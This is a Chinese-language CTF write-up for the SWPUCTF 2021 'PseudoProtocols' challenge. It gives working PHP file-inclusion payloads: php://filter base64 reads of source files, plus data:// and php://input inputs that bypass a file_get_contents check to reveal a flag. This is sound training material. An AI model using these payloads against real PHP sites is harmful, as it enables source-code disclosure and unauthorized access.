[SWPUCTF 2021 新生赛]PseudoProtocols

php 伪协议的使用

进入页面,注意到 url 参数中有 ?wllm= ,并且页面内容提示:

hint is hear Can you find out the hint.php?

说明有 hint.php 文件存在,直接用 ?wllm=hint.php 读取不了,就应该试试伪协议。

php://filter 伪协议

?wllm=php://filter/read=convert.base64-encode/resource=hint.php

返回一串编码字符,解码后得到 hint.php 文件内容为:


//go to /test2222222222222.php
?>

提示去 test2222222222222.php 文件。

同样是 ?wllm=test2222222222222.php ,只不过这次不使用伪协议也能读文件,test2222222222222.php 文件内容为:



  ini_set("max_execution_time", "180");

  show_source(__FILE__);

  include('flag.php');

  $a= $_GET["a"];

  if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){

    echo "success\n";

    echo $flag;

  }

?>

data 伪协议

直接传 a=I want flag 是不行的,因为 file_get_contents 函数读的是文件,而 a 是一个变量。

用 data:// 伪协议将数据编码为文本格式再传:

?wllm=test2222222222222.php&a=data://text/plain,I want flag

当然这里也可以用 php://input 伪协议。

php://input 伪协议

php://input 是一个只读流,它允许你访问原始的 HTTP 请求体。

?wllm=test2222222222222.php&a=php://input

同时在请求体中添加:

I want flag

请求方法 GET 和 POST 都行,GET 方法也可以带请求体。

你可能感兴趣的:(ctf,web安全,网络安全,php)